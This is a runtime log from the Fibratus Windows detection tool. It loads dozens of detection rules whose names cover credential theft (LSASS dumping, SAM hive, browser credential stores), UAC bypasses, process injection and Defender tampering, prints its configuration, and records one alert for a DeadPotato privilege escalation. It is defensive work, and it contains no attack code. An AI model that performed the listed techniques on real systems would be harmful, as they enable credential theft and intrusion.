C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:34:46+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:34:46+01:00 level=info msg=bootstrapping with pid 9496. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:34:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ port=>25 content-type=>text/html use-template=>true to=>[] enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-thread=>true enable-dns=>false stack-enrichment=>true enable-audit-api=>true flush-interval=>1s enable-fileio=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-threadpool=>false enable-image=>true enable-vamap=>true enable-registry=>true buffer-size=>512 enable-mem=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 max-backups=>15 level=>info log-stdout=>true] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck-timeout=>5s timeout=>5s enabled=>false gzip-compression=>false template-name=>fibratus trace-log=>false healthcheck-interval=>10s flush-period=>1s bulk-workers=>1 index-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] healthcheck=>true] http=>[ serializer=>json tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false method=>POST enabled=>false timeout=>5s] amqp=>[ routing-key=>fibratus durable=>false vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false enabled=>false delivery-mode=>transient timeout=>5s exchange-type=>topic exchange=>fibratus]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-mmaps=>false fastscan=>true skip-files=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:34:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:34:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:34:59+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): source=action/alert.go:37 +time=2025-11-25T11:35:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:35:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:35:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:35:45+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 